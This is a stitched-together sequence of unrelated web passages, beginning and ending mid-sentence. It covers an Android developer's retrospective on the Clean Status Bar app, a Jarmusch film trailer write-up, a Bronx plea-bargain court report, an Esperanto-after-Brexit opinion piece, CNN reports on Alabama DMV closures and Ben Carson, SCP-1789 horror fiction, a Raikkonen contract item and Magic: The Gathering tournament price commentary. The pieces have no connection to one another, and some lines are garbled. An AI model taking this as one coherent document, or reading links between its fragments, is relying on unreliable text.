can makes sense to be something else. Slowly, over time, other Android versions and capabilities were added — from full battery and 12:00 only came the ability to manually change the time and toggle different icons for the top right of the status bar — e.g. WiFi, network and GPS. Ensuring that the spacing, fonts, icons and assets had the correct colour and size for each platform took a fair amount of time to get right and test — Jelly Bean has blue icons, KitKat can have a coloured gradient background, Lollipop introduced new icons and the ability to have a solid coloured background and more recently, Marshmallow brought the light status bar. I had a number of feature requests to let people take screenshots with a transparent status bar, e.g. as you would see on the lock screen. Unfortunately because of how it works, by drawing over the existing status bar, transparency is not possible. Reception, feedback and the Google Play Store I’m very proud of the app — it was featured in Android Weekly twice and some of the 5 star reviews on the Play Store have been lovely (saving people’s time is awesome!). It was also used in the demo videos in the 2014 Droidcon NYC keynote. However: the app continually receives 1 star reviews on the Play Store. These are not reviews by those actually using it as intended — the feedback I’ve had from developers has been phenomenally good. But for some reason, the app gets downloaded by loads of non-developers, who seem to be generally very confused about what it is and does. Overwhelmingly, those reviews state that “the time does not update”. I have no idea why it’s so well downloaded by non-developers — perhaps there is a real need for a customisable status bar? Perhaps I should have given it a different name, to focus less on the status bar but more on its usage for taking screenshots? I did try a number of things, but nothing seemed to make much difference. Putting it on the Play Store in the first place was probably a mistake — it could have remained solely an APK for download from GitHub. My curiosity of seeing how many downloads it would get is partially to blame (currently 70k), and I thought that the convenience of the store would help developers find it. Thinking about this more, a possible solution to this could be to have a new category of developer focused apps on the Play Store, which are only visible if you have ‘Developer Tools’ enabled on your phone. Things I learnt about Open Source This was my first open source repository that has had much use by people other than me — and I learned a lot from it. It had a number of contributions: Issues filed and fixed that I hadn’t noticed Features suggestions with awesome ideas (such as using Intent to configure it, for use in a CI environment for automated testing or to add the APK to the ‘releases’ part of the repo) Translations in to other languages — French, Italian, German, Slovak and US English I had a hilarious contribution from an American adding US localisation, who raised a pull request (PR) detailing the discovery of America and how the lack of the “u” character in the spelling of some words came to be — which still remains one of my favourite PRs of all time (also because the branch name was called ‘USA_USA_USA’). Someone else opened a PR renaming the project to ‘Clean System Bars’ and including the navigation bar — I felt terrible declining something someone had clearly put some time into, but I wanted the app to remain focused on only the status bar. Feedback from users One user was using it for a use case I’d never have thought of — he wasn’t allowed to use his work’s WiFi, but he was doing it anyway and used the app to hide the fact he was connected to it. Another was a particularly nice email from a Russian speaker who had noticed all the 1 star reviews in Russian on the Play Store — they included a couple of Russian sentences which I could add to the description, to try and explain better the app’s purpose to those who don’t speak English. What’s next Slowly but surely, Clean Status Bar is becoming obsolete. There are two reasons for this: firstly, Android Marshmallow provides official support for what it does in the ‘demo mode’ feature. Secondly, Marshmallow introduced a change in how the permission to draw over other apps works: you now have to explicitly allow the app to draw over other apps in Settings. Whilst this in itself isn’t a huge problem for an app that targets developers, it’s an extra hurdle — and coupled with the ability to use demo mode instead, I don’t see a good reason to target SDK 23 or higher. I’m not too sad about it though — it was a fun project but it’s better that Android itself has added a way to keep those screenshots clean. Special thanks to everyone who’s contributed to the project, and to Robbie Vanbrabant for reading a draft of this post. If you enjoyed reading this post, you can find me on twitter @emmaguy -Jim Jarmusch fans rejoice, as the hipster indie filmmaker is back after a five-year hiatus from the big screen with "Only Lovers Left Alive," a vampire movie starring Loki, Alice in Wonderland and what might very well be Tilda Swinton playing herself. This exclusive new trailer introduces us to Adam ("Thor" star and internet sensation Tom Hiddleston), a reclusive musician living in a run-down house in Detroit. Like Loki, Adam is pale with long black hair and an even longer lifespan. But the vampire has grown bored with his eternal life and pessimistic about the future. Adam's life (undeath?) takes a sudden turn when he's reunited with his longtime off-and-on lover, Eve (Swinton), and her wild card sister, Ava (Mia Wasikowska), paying a visit. They implement various schemes necessary for survival in a world in which humans have managed to taint their own blood, a sad state of affairs that requires working with a shady doctor (Jeffrey Wright) to get the supply they need to hang out for another millennium or two. Tom Hiddleston in 'Only Lovers Left Alive' (Gordon A. Timpen/Sony Pictures Classics) More It sounds like mopey melodrama, but the trailer showcases Jarmusch's wry humor, from Adam's disguises as he infiltrates a hospital (he has a nametag that reads "Dr. Faust" and later "Dr. Caligari") to Jarmusch regular John Hurt as the immortal Elizabethan playwright Christopher Marlowe himself, musing as to how he wished he'd met Adam "before I wrote 'Hamlet.'" "Only Lovers Left Alive" is Jarmusch's first feature film since "The Limits of Control" (2009), a stark and spare exercise in mood and form that divided even the most dedicated Jarmusch fans. "Only Lovers" looks to be more of a companion piece to "Ghost Dog: The Way of the Samurai" (1999) with its out-of-time characters negotiating a fringe existence parallel to the modern world and all of its corruption and limitations ... and looking really cool with their sunglasses and chic wardrobes while doing so. Tilda Swinton and Tom Hiddleston in 'Only Lovers Left Alive' (Gordon A. Timpen/Sony Pictures Classics) More Speaking of fringe, "Only Lovers" has been lurking around the film festival circuit for almost a year, making its debut at Cannes last May and following up with screenings at last fall's Toronto International Film Festival and the New York Film Festival, among several others. Critics have been digging it as it currently holds an 84% rating on Rotten Tomatoes, with Todd McCarthy of The Hollywood Reporter claiming it's Jarmusch's "best work in many years, probably since 1995's 'Dead Man'" and Jordan Hoffman of Film.com heralding it as "the next great midnight classic." "Only Lovers Left Alive" hits theaters on April 11. -Officials with the district attorney’s office acknowledged that older cases going to Justice DiMango’s court, called the “blockbuster part,” required a less rigid approach. But they said that defendants, too, were taking pleas they might have refused in the past, knowing the court would brook no more delays — which typically favor the defense — and they would face immediate trial. Justice DiMango’s straightforward discussions with defendants, detailing their options and what a jury might do, have brought many to face reality, said Robert Dreher, executive assistant district attorney for the Bronx. “Everyone is saying the D.A. is giving these cases away,” he said. “But what makes this work is her conversations with the defendants.” Justice DiMango’s success has caused some Bronx judges to privately complain that she was presiding over a “fire sale,” to borrow the words of one judge, that had benefited potentially dangerous defendants. But an analysis by The Times of the first three months of dispositions in her courtroom found that in the most common charges to come before her, robbery in the first degree and attempted murder, defendants pleaded to the top charge more frequently than they had in the five years before she arrived. Several defense lawyers praised Justice DiMango for pressing both sides to reach deals. “She pushes them,” said Harvey Slovis, who has represented several clients in the blockbuster court. “She wears them down. She’ll say: ‘I don’t think this is worth five years, I think it’s worth two and a half. Now go back to your bosses and tell them what I want, and they come back with these plea offers.’ ” The cases show the hard compromises involved in rapidly clearing the backlog. Troy Archibald and four of his friends were charged with multiple felonies for attacking two men walking along the Grand Concourse in the Bronx in 2010 in what prosecutors described as a vicious gang attack. After the case languished for three years, prosecutors allowed him to plead guilty to a misdemeanor. Justice DiMango sentenced him to one year in jail. Two of the others also pleaded to misdemeanors, another received the equivalent of a ticket, and the last was told his case would be dismissed if he was not rearrested. “When you go into Justice DiMango’s courtroom, you get pleas that other judges might not consent to,” Mr. Archibald’s defense lawyer, Anthony N. Iannarelli Jr., said. -As the Roman Empire collapsed and slowly became obsolete, its components became increasingly independent of each other and fractured. In the large scheme of things, the exit of Britain from the European Union is beginning to look like one of the final blows to the old British Empire, which had regained some momentum as English became a dominant second language in Europe in recent decades. Brexit now leaves Europe with less than one percent of English speakers, and feels like a huge chuck of ice breaking off and leaving Greenland or Antarctica: it’s an event that triggers a long-term paradigm shift that is not immediately evident. Northern Ireland and Scotland, two of the constituent countries of what is now the United Kingdom, voted to remain within the European Union and now have a tough decision to make. Independence movements in both countries are beginning to prepare platforms that would lead to their secession. Nativism and isolationism appear to be winning again in Europe. As in the days of the late Roman Empire. Together with the possibility of a Trump presidency–which, if it materializes, would in all likelihood make the world far more dangerous and hostile than it’s ever been for Americans, their culture, their language, and the neoliberal ideology that is associated with both Wall Street and London–these events may signal the decadence of the English language in coming years. Like tectonic plates, cultural changes come slowly, but the tendencies are clear: over the long term, English will be slowly replaced by a new cyber-Babel, and in the lands conquered by England–where English is spoken mainly as a second language–many speak dialects so unintelligible that they’re likely to evolve into entirely new languages. Singaporean English is one example. It is true that mass media aids in standardization and preservation of English (and other languages). However, the prediction by Nicholas Ostler and echoed by the Economist seems to ring true: English is expanding as a lingua-franca but not as a mother tongue. More than 1 billion people speak English worldwide but only about 330m of them as a first language, and this population is not spreading. The future of English is in the hands of countries outside the core Anglophone group. Will they always learn English? … Several of Britain’s ex-colonies once did so but only because English was a neutral language among competing native tongues. English has been rejected in other ex-colonies, such as Sri Lanka and Tanzania, where Anglophone elites gave way to Sinhala- and Swahili-speaking nationalists. English will fade as a lingua-franca, Mr Ostler argues, but not because some other language will take its place … Rather, English will have no successor because none will be needed. Technology, Mr Ostler believes, will fill the need. This argument relies on huge advances in computer translation and speech recognition … If he is right about the technology too, future generations will come to see English as something like calligraphy or Latin: prestigious and traditional, but increasingly dispensable. The mythical Tower of Babel is becoming a relevant narrative of globalization. But there is a man who challenged Babel: Doctor Zamenhof, who invented the artificial international language Esperanto in the 1800s. Translation devices are not the only threat to the comfortable hegemony of the English language. Lately, Esperanto has become a cool learning adventure, now that it has been turned into a game-like experience by duolingo. Within months of being made available on duolingo for English speakers, the Esperanto language course has hundreds of thousands of learners and has gone viral online, also multiplying traffic to sites like lernu.net. Esperanto for Spanish speakers will become available soon. There are an estimated less than five million speakers worldwide of Esperanto, and countries like Poland and Hungary (which are near the epicenter of where Esperanto was born) have each tens of thousands of speakers. Poland is the birthplace of the language and has hundreds of monuments to Doctor Zamenhof. The headquarters of the Universala Esperanto Asocio is in the Netherlands, which also has a sizable community of speakers, and where the language even once had its own currency known as the stelo. Immediately after Brexit, Esperanto speakers in Europe became activists. The announcement was made on the inauguration of Eŭropa konversacio (an European conversation), a webpage in the international language featuring news and cultural notes related to the continent and helping to forge a continental identity in the neutral, auxiliary language. A group of Esperantists have purchased the site europano.info and are raising funds on patreon so that their project may materialize. Unlike all other “official” European Union webpages, which spend millions of dollars and employ hundreds of translators in order to make their content available in dozens of languages, europano.info will test the usefulness of Esperanto as the single, auxiliary, second language for an increasing number of people, removing the many middle-persons in the process of translation between people from dozens of countries and ethnicities, and simplifying international communication for everyone. What better place than the European Union to test Esperanto? Esperanto was scientifically created in order to serve as the easiest to learn language on Earth, as a politically neutral, auxiliary second language. It only has sixteen grammar rules, there are never any irregularities or exceptions to the rules, and most of the root words come from Romance languages and English. The number of Esperanto-speaking youtubers has increased recently, and some (like the moderator of the Language Stuff channel) learned conversational Esperanto within a matter of weeks. Considering how fast it can be learned and how easy it is for content to go viral on the internet, for the first time in history, Esperanto is beginning to have a real chance to slowly become the tool for international communication it was meant to be, not as a result of governmental policy, but as a grassroots egalitarian movement. Do, konsideru lerni la internacian lingvon! (So consider learning the international language!) Advertisements -Washington (CNN) The U.S. Department of Transportation has just launched an investigation into whether Alabama is discriminating against African-American residents after announcing plans to shut down or reduce service at 34 state drivers license offices. Voting rights advocates say the move will disenfranchise lower income, African-American voters in rural communities who wish to vote. Alabama Gov. Bob Bentley dismissed the investigation as politically motivated. In 2014, Alabama passed a law requiring valid photo ID in order to vote at the polls. Transportation Secretary Anthony Foxx says his agency is specifically looking into whether the closures violate the Title VI of the Civil Rights Act of 1964, which prohibits discrimination on the basis of race, color or national origin on programs and activities receiving federal assistance. "Driver license offices offer essential services to the American people, including providing thousands in Alabama with a method of identification. It is critical that these services be free of discrimination, and serve the people of the state fairly and equally," Foxx said. On September 30, Alabama announced the closure and reduction in services at 34 drivers licensing offices throughout the state. The Alabama Law Enforcement Agency has said an $11 million cut in the budget forced the closing of the DMV offices at which residents can obtain or renew their licenses. The state expects some of the needs of those who would have used such offices to be met online. Photos: Photos: The Voting Rights Act The Voting Rights Act – The Voting Rights Act is often called the crown jewel of the civil rights movement, yet many Americans do not know why or how it was passed. Pictured, NAACP Field Director Charles White speaks on the steps of the U.S. Supreme Court on Tuesday, June 25, 2013, after the court limited use of a major part of the landmark Voting Rights Act of 1965, in effect invalidating a key enforcement provision. Here are some key moments and characters in the voting rights saga. Hide Caption 1 of 14 Photos: Photos: The Voting Rights Act The Voting Rights Act – Three young civil rights workers were murdered in 1964 in Mississippi while trying to register black voters. The infamous murders showed that segregationists were willing to kill to keep African-Americans from voting. Hide Caption 2 of 14 Photos: Photos: The Voting Rights Act The Voting Rights Act – John Lewis, a young activist who later became a congressman of Georgia, heads to a fateful encounter on the Edmund Pettus Bridge in Selma, Alabama during a 1965 march. Lewis was brutally assaulted by state troopers during the "Bloody Sunday" march that made voting rights a national issue. Hide Caption 3 of 14 Photos: Photos: The Voting Rights Act The Voting Rights Act – Marchers during the 1965 voting rights campaign in Selma, Alabama gather for a rally on March 26, 1965, a few weeks after "Bloody Sunday." Black residents were beaten, fired from their jobs and imprisoned trying to vote. Hide Caption 4 of 14 Photos: Photos: The Voting Rights Act The Voting Rights Act – Viola Liuzzo, a Detroit housewife, was murdered while participating in the voting rights campaign in Selma, Alabama, in 1965. Her death outraged the nation and helped spur passage of the Voting Rights Act. Hide Caption 5 of 14 Photos: Photos: The Voting Rights Act The Voting Rights Act – President Lyndon Johnson, pictured here discussing the act with the Rev. Martin Luther King Jr. in 1965, went on national television to call for passage of the Voting Rights Act. He ended his speech by saying, "And we shall overcome." Hide Caption 6 of 14 Photos: Photos: The Voting Rights Act The Voting Rights Act – Rep. John Lewis speaks after bipartisan House and Senate officials met to voice support for reauthorizing the Voting Rights Act for an additional 25 years on May 2, 2006. From left, Senate Minority Leader Harry Reid, House Speaker Dennis Hastert, Senate Majority Leader Bill Frist and other officials listen during the media conference. Hide Caption 7 of 14 Photos: Photos: The Voting Rights Act The Voting Rights Act – President George W. Bush signs reauthorization of the act on July 27, 2006. From left, Rep. John Conyers, D-Michigan, Rep. James Sensenbrenner, R-Wisconsin, House Minority Leader Nancy Pelosi, D-California, Sen. Harry Reid, D-Nevada, and Sen. Bill Frist, R-Tennessee, look on. Hide Caption 8 of 14 Photos: Photos: The Voting Rights Act The Voting Rights Act – President Barack Obama marches with civil right veterans during a commemoration march in 2007. Hide Caption 9 of 14 Photos: Photos: The Voting Rights Act The Voting Rights Act – A conservative judge called the Voting Rights Act a racial entitlement but supporters of the act say it is the crowning victory of the civil rights movement. Pictured, people gather for a post-march rally after crossing the Edmund Pettus Bridge on the "Bloody Sunday" anniversary, March 4, 2012. Hide Caption 10 of 14 Photos: Photos: The Voting Rights Act The Voting Rights Act – Lawyers' Committee for Civil Rights Under Law Executive Director Barbara Arnwine speaks during a news conference to voice opposition to state photo ID voter laws with the Rev. Jesse Jackson and members of Congress at the U.S. Capitol July 13, 2011. Hide Caption 11 of 14 Photos: Photos: The Voting Rights Act The Voting Rights Act – A supporter of the Voting Rights Act rallies in the South Carolina State House in Columbia on February 26, 2013, the day before oral hearings at the Supreme Court. Hide Caption 12 of 14 Photos: Photos: The Voting Rights Act The Voting Rights Act – The Rev. Jesse Jackson, at the microphone, and the Rev. Al Sharpton, left, deliver remarks during a rally outside the U.S. Supreme Court on February 27, 2013, as the court prepared to hear oral arguments in Shelby County v. Holder, the legal challenge to Section 5 of the Voting Rights Act. Hide Caption 13 of 14 Photos: Photos: The Voting Rights Act The Voting Rights Act – Supporters of the Voting Rights Act listen to speakers discussing the rulings outside the U.S. Supreme Court building on Tuesday, June 25, 2013. Hide Caption 14 of 14 "It is our obligation to ensure that recipients of federal funding are in compliance with federal laws that guarantee equal access and opportunity for all," said Stephanie Jones, the U.S. Department of Transportation's civil rights acting director. "Our concern rests in the possibility that the state's closure of driver license offices disproportionately constrains the ability of some residents to secure driving privileges, register personal and commercial vehicles, and obtain proper identification a critical requirement for access to essential activities such as opening a bank account and voting," she said. Bentley said "opportunistic politicians such as Hillary Clinton" have politicized his state's budgeting decisions. "This U.S. DOT investigation is nothing more than a weak attempt to embarrass the people of Alabama and exploit our state in the name of a political agend," he said in a statement issued Wednesday . "I am confident that the U.S. DOT investigation will find no basis for the claims of discrimination. It is time for the Obama administration and aspiring national politicians to listen to facts, stop wasting taxpayers' dollars and put the political agendas away." The agency will be requesting all documents and information that explains why these specific 34 DMV locations were picked for closure or reduced service "and why not others," Foxx said. DOT says it has not reached any conclusions but if it finds these closures are discriminatory, the agency will first allow the state to come into compliance by making those services available once again. If Alabama does not comply, the Department of Transportation says it could strip the state of millions of dollars in federal funding that's used towards DMV programs. Questioned whether stripping the state of federal funding would only further negatively impact the communities DOT is trying to protect Foxx said the agency is still gathering information "I don't want to presuppose the outcome at this point, we need to go and get the facts but I think that the recourse we have is fairly effective we've seen it work in previous cases. Hopefully we won't get there but if we do we will be very aggressive." In October, Rep. Terri Sewell, the only African-American in the state's congressional delegation, asked the Justice Department to launch an investigation. It's unclear when the DOT will complete its investigation or whether it will be done before the November 2016 election, though Foxx said the agency is working to get it done as soon as possible. -SCP-1789 Item #: SCP-1789 Object Class: Euclid Special Containment Procedures: SCP-1789 is contained in Storage Chamber 34, located in Site 17. Storage Chamber 34 is to be equipped with audio and video monitoring devices. SCP-1789 is to be suspended via harness above a collection trough at all times. Collected samples of SCP-1789-1 are to be disposed of within three hours as a biohazard, unless samples are required for testing purposes. Any personnel found to be engaging in unauthorized communication with SCP-1789 are to be given a formal reprimand. Any personnel found to be attempting to carry out one of SCP-1789’s commands are to be terminated. All changes in SCP-1789-1's flow rate are to be monitored and recorded. SCP-1789 is to be subject to regularly scheduled interrogation. Mentions of the “Cradle for the Kings” are to be immediately forwarded to the overseeing Level 4 researcher. Description: SCP-1789 is an enlarged humanoid finger, approximately one meter long and severed at the base. It is sapient and capable of telepathic communication. In interviews, SCP-1789 has demonstrated megalomania and a general hostility towards Foundation personnel. It is capable, through unknown means, of movement but not locomotion, and convulses rapidly when agitated. SCP-1789-1 is a golden liquid of unidentified composition hemorrhaged from SCP-1789 at a variable rate. The current flow rate is approximately one liter every thirteen days. Chemical analysis of SCP-1789-1 remains non-conclusive. SCP-1789-1 is a powerful hallucinogen. It is not addictive and has no side-effects. Upon consumption, users begin to experience hallucinations which often include the empowerment of the user, approval from the user’s peers, and success in all undertakings. When SCP-1789 communicates, any demands it makes have anomalous compulsory properties. This compulsion is weak and can be resisted with extremely minor concentration. Common demands include: the furnishing of ceremonial incense inside its containment chamber. the provision of a trough, with measurements of two by two cubits (approximately one by one meters), filled with the blood of cattle. the provision of a ceremonial piece of gold jewelry to decorate its fingernail. the provision of ceremonial rings of varying composition, usually the spinal vertebrae or rib cages of household animals, to decorate it. to be bathed in a mixture of sea salt and SCP-1789-1. to be transported to a non-specific location, described as a “Cradle for the Kings". SCP-1789 expressed the desire to be reunited with what it described as “the multitudes of flesh ascendant, where the scattered remains of the King shall once again establish their domain over the beasts of this Earth.” The initial hypothesis that SCP-1789 was referring to the Valley of the Kings in Egypt was disproven when a covert Foundation archeological expedition to the region found no anomalous activity. However, due to the size of the target area and the ambiguity of SCP-1789's statements, it has been deemed impossible to determine the veracity of SCP-1789's claims. Furthermore, the same archaeological team discovered [DATA EXPUNGED] with outstretched finger [DATA EXPUNGED] near the original dig site. All of SCP-1789’s statements regarding the “Cradle for the Kings” have been recorded in Document-1789-19c (Level 4 Clearance required to access.) Of particular note is that SCP-1789’s demands commonly necessitate the slaughter of various domesticated animals. While the compulsory properties of SCP-1789’s demands are ordinarily extremely weak, consuming SCP-1789-1 drastically increases the potency of the compulsions. After consuming a cumulative volume of approximately six liters of SCP-1789-1, the consumer’s autonomy becomes irreparably compromised when subjected to SCP-1789’s demands. Addendum-1789-A: SCP-1789 was initially retrieved on ██/██/2012, from the residence of ██████ █████ in ███ ████, ██. Local law enforcement had been investigating an abnormal increase in missing dog reports. After tracing the disappearances to █████, police presumably discovered SCP-1789 and brought █████ into their custody. The situation came to the Foundation’s attention during a regular radio scan of North American law enforcement. All involved police personnel were given Class A Amnestics. After interrogation, █████ was given a Class A Amnestic and subsequently entered Foundation employment as a D Class personnel. SCP-1789 was found in █████’s basement. SCP-1789-1’s flow rate was measured at approximately one liter per twelve hours. The remains of several domesticated dogs were found scattered throughout the basement (pictures and after-action reports can be found in Document-1789-2b). The dogs’ bones had been first splintered with a butcher knife, and then strung together with twine to form a crude ring, which was found decorating SCP-1789. SCP-1789 was resting on the minimally-decayed body of one of the slaughtered dogs. After SCP-1789 was contained in Foundation custody, the flow rate of SCP-1789-1 dramatically decreased, and SCP-1789 began to undergo superficial necrosis. The remains found in █████’s basement have not displayed any anomalous properties. The O5 council has elected not to reintroduce the remains recovered from █████'s basement or any previously constructed ornaments to SCP-1789’s environment. -(CNN) Republican presidential candidate Ben Carson on Thursday defended his past use of tissue from aborted fetuses for medical research even as he continued to criticize Planned Parenthood. The retired neurosurgeon said his research, which took place in 1992, does not conflict with his call to defund Planned Parenthood after several undercover videos surfaced that purportedly show officials with the organization working with research companies using tissue from aborted fetuses. Jen Gunter, an obstetrician-gynecologist, wrote on her blog that Carson had co-authored an academic paper published in Hum Pathol , in which he described working with material "from two fetuses aborted in the ninth and 17th week of gestation." In her blog post, Gunter sharply criticized the GOP presidential candidate. "As a neurosurgeon Dr. Ben Carson knows full well that fetal tissue is essential for medical research," wrote Gunter, author of "The Preemie Primer," a guide for parents of premature babies. "His discipline would have a hard time being where it is today without that kind of work. What is even more egregious than dismissing the multitude of researchers whose work allowed him to become a neurosurgeon is the hypocrisy of actually having done that research himself while spouting off about its supposed worthlessness." Gunter wrote that fetal tissue research has recently helped develop a vaccine against Ebola and is currently being used to develop treatments for blindness, HIV and other illnesses. Photos: Ben Carson's career in politics Photos: Ben Carson's career in politics Ben Carson attends the National Action Network (NAN) national convention at the Sheraton New York Times Square Hotel on April 8, 2015, in New York City. Hide Caption 1 of 13 Photos: Ben Carson's career in politics Carson speaks during the 41st annual Conservative Political Action Conference (CPAC) at the Gaylord International Hotel and Conference Center on March 8, 2014, in National Harbor, Maryland. Hide Caption 2 of 13 Photos: Ben Carson's career in politics Carson speaks to guests at the Iowa Freedom Summit on January 24, 2015, in Des Moines, Iowa. Hide Caption 3 of 13 Photos: Ben Carson's career in politics Carson is surrounded by supporters as he waits to be interviewed at the annual Conservative Political Action Conference (CPAC) at National Harbor, Maryland, outside Washington on February 26, 2015. Hide Caption 4 of 13 Photos: Ben Carson's career in politics Carson speaks at the South Carolina Tea Party Coalition convention on January 18, 2015, in Myrtle Beach, South Carolina. A variety of conservative presidential hopefuls spoke at the gathering on the second day of a three-day event. Hide Caption 5 of 13 Photos: Ben Carson's career in politics Carson delivers the keynote address at the Wake Up America gala event on September 5, 2014, in Scottsdale, Arizona. Hide Caption 6 of 13 Photos: Ben Carson's career in politics Carson speaks during the 41st annual Conservative Political Action Conference (CPAC) at the Gaylord International Hotel and Conference Center on March 8, 2014, in National Harbor, Maryland. Hide Caption 7 of 13 Photos: Ben Carson's career in politics Carson speaks during the National Prayer Breakfast at the Washington Hilton on February 7, 2013, in Washington. Hide Caption 8 of 13 Photos: Ben Carson's career in politics Honoree and director of pediatric neurosurgery at Johns Hopkins University, Carson poses with actor James Pickens Jr. at the Jackie Robinson Foundation Annual Awards Dinner on March 16, 2009, in New York City. Hide Caption 9 of 13 Photos: Ben Carson's career in politics Before his jump into conservative politics, Carson was known for his work as a neurosurgeon. Carson was awarded the Presidential Medal of Freedom by then-President George W. Bush on June 19, 2008. At that time, he was the director of pediatric surgery at Johns Hopkins Hospital in Baltimore, Maryland. Hide Caption 10 of 13 Photos: Ben Carson's career in politics In a story that garnered international attention, Carson was ready to separate a pair of 10-year-old Indian girls, Saba and Farah Shakeel, who are joined at the head in New Delhi, India. Here, he addresses a press conference at the Indraprashtra Apollo Hospital on October 4, 2005. Hide Caption 11 of 13 Photos: Ben Carson's career in politics Carson and a team of 20 specialists approved the procedure after studying the girls' brains; however, their parents were worried about their daughters' lives and did not give doctors permission to operate. The surgery did not happen. Hide Caption 12 of 13 Photos: Ben Carson's career in politics Carson observes the start of neurosurgery proceedings at the Raffles Hospital in Singapore on July 6, 2003. Carson and Dr. Keith Goh, left, performed a complex operation that was unsuccessful to separate 29-year-old twins Ladan And Laleh Bijani, who were joined at the head. Hide Caption 13 of 13 On the campaign trail in Manchester, New Hampshire, Carson told CNN his research simply used the tissue from aborted fetuses that was made available to him. "We have banked material in the pathology lab from people from every age -- from day 1 of concept to 120 years told. Those specimens are available for people who want to do comparisons," Carson said. "To not use the tissue that is in a tissue bank, regardless of where it comes from, would be foolish. Why would anybody not do that?" Carson also issued a statement, saying, "There is absolutely no contradiction between the research I worked on in 1992 and my pro-life views. The issue of fetal tissue has everything to do with how the tissue is acquired. My primary responsibility in that research was operating on people to obtain diseased tissue for comparison to banked tissue samples. Killing babies and harvesting tissue for sale is very different than taking a dead specimen and keeping a record of it, which is exactly the source of the tissue used in our research." And later Thursday, Carson went on Facebook to further defend his work. "I, nor any of the doctors involved with this study, had anything to do with abortion or what Planned Parenthood has been doing," he said in a post. "Research hospitals across the country have microscope slides of all kinds of tissue to compare and contrast. The fetal tissue that was viewed in this study by others was not collected for this study." Carson had previously told CNN that organs and tissue from aborted fetuses aren't needed for medical research. "Virtually everything that can be attributed to progress by using fetal tissue can also use other types of tissue," he said. "If it were the only way to do something and there was no other way, there might be an argument. But under these circumstances, there isn't a legitimate argument." Planned Parenthood has denied that it has broken any laws and said that it donates the tissue for medical research. -A report in Finland's Turun Sanomat said the 2007 world champion's current deal expires at the end of the year, with a double-sided option to extend into 2016. Manager Steve Robertson said: "Above all, he has to enjoy the driving." Raikkonen, 35 and now father to a newborn son, struggled notably in 2014 alongside Fernando Alonso. Robertson added: "If he is doing well, and he has the feeling that everything is working, the enthusiasm infects the entire team. "If that happens, I believe it is possible that Kimi could stay longer." Vettel and Raikkonen should work well together At the very least, Robertson is expecting Raikkonen to work well alongside his new teammate and friend, Sebastian Vettel. "At the beginning of his career, Sebastian travelled with Kimi and that's where it started to develop. "Sebastian saw how straightforward Kimi is and that he could be trusted without reservation. They seem to have a lot in common. "Sometimes it happens in motor racing that drivers can have good relationships and still the competition between them remains tough," Robertson added. "I think the direction of the team will now be better -- Sebastian and Kimi are the right combination for Ferrari," he said. -ADVERTISEMENT: Editor’s Note: Relevant financial details in blue, folks. Coming into Day 2 of the largest (466 players) Pro Tour field of all time, the field has proved to be a mix of the expected and a plethora of attempts to get ahead of the metagame with cards previously thought to be nearly unplayable in constructed Magic. Aetherworks Marvel decks were the archtype that showed up in the greatest numbers, constituting nearly 18% of the total field on Day 1. When they work, the various flavors of Marvel decks can drop a gigantic threat such as Ulamog or Emrakul into play as early as Turn 4. They have also generated some truly embarrassing moments for their pilots however, with too many of their top end threats stuck in hand resulting in fail to find adventures when activating the Marvel. Heading into Day 2 it will be important to identify whether a proportional number of these decks have made it through to Day 2, or whether the group think on going big was off the mark. The spike has already taken place however, with the card pushing from $10 to $20 early Friday evening. It will need to make Top 8 to avoid a wholescale sell off by the speculators come Monday. Coming out of a highly aggressive first couple of weeks in the new Standard, many wondered aloud whether a control deck could be configured to beat the variety of aggressive and combo strategies in the meta. So far it has been Grixis Control in the hands of Hall of Famer Shoota Yasooka that has been most impressive in controlling the field. Shoota’s deck has put both Thing in the Ice and Torrential Gearhulk back in the spotlight on the financial front, with Gearhulk spiking Friday night up toward $20 before fading back a bit to $18 on significantly lowered inventory. Heading into the weekend, Smuggler’s Copter was the card that seemed to define the format, but we haven’t seen a lot of the card so far on camera, and it is unclear how many Copter decks have made it into Day 2. Metalwork Colossus decks were sprinkled through the field, and a couple of them may be doing well enough to make a bid for Top 8. Consequently the card has moved from $1.50 to $5 overnight. Dynavolt Tower, as seen in the Travis Woo championed Jeskai Control build (with three players over 50% Day 1) and the Degan UR build, is also on the move. The card is currently available around $2, but inventory is draining and this card can easily top $5 if it makes Top 8. The RG Double Strike aggro deck hasn’t had a good showing so far, with Brian Kibler looking fairly foolish with a few obvious misplays during his feature match with the deck. Electrostatic Pummeler may still end up a popular card at the LGS level however, as the deck is fairly cheap and easy to play. As I expected, Chandra, Torch of Defiance has not made it on camera as of yet, and by all accounts she is essentially absent in the format. Look for this Planeswalker to crash hard heading out of the weekend. Panharmonicon spiked earlier this week on the back of a prominent video series by Saffron Olive, but the card is not in the field this weekend, and seems likely to slide back toward $5 from $10. Foils on the other hand, propped up by EDH demand, are likely to hold their current plateau a bit better. Day 2 Meta looks as follows as reported by coverage staff: Temur Aetherworks holding steady, 1.17% up to 18.77% of the total field BG Delirium down 1.5% to 10.24% BR Aggro steady at 8% RW Vehicles steady at 7% RG Energy steady at 6.5% Ten other decks between 2-5%. ADVERTISEMENT: Worth noting that no one deck has gotten blown out of the format thus far, nor have any of the newer decks proven to be true solutions to the format. Meta is looking wide open at present. The continued prevelance of the Aetherworks decks may indicate upward pressure forthcoming on Ulamog, the Ceaseless Hunger and Emrakul, the Promised End. Follow along with us as we track the final 5 rounds of constructed play before the cut to Top 8 and the establishment of the new Standard metagame. Round 9 (6th Standard Round): Lee Shi Tian (Mardu Vehicles) vs. Kentaro Yamamoto (Grixis Emerge) The Tian deck is splashing black for Unlicensed Disintegration. Yamamoto’s deck leverages the Prized Amalgram/Scrapheap Scrounger engine via Perpetual Timepiece instead of the red discard spells favored by other pilots. In Game 1, Tian overruns Kentaro, essentially unopposed, within the first five turns. In Game 2, Tian comes out to another aggressive start but this time Yamamoto is able to stabilize with a Kozilek’s Return and turn the corner to put it away. Game 3, a key Ceremonious Rejection off a freshly played Cultivator’s Caravan allows Shi Tian to brush past a Kozilek’s Return and put the match away. Round 9 (6th Standard Round): Matt Nass (Temur Aetherworks) vs. Shota Yasooka (Grixis Control) Matt Nass concedes Game 1 after being unable to ruin Nass with an Emerakul trigger. Round 9 (6th Standard Round): Makis Matsoukas (R/W Tokens) vs Rich Hoaen (Temur Aetherworks) We come into this match with the players tied one game a piece. In Game 3 we quickly see Hoaen spin his Aetherworks Marvel, only to whiff on a solution to the quick RW clock from the Greek player, and Makis takes it. Round 9 (6th Standard Round): Steve Rubin (BR Aggro) vs. Mike Hron (Mardu Vehicles) These players split the first two games before we check in as well. The weakness of aggro decks in this tourney is looking to be premature. There are plenty of aggro decks keeping the combo and control players honest in the top ranks. Deck Tech #5: Zac Elsik (UR Control), 5-1 in Standard so far 4x Torrential 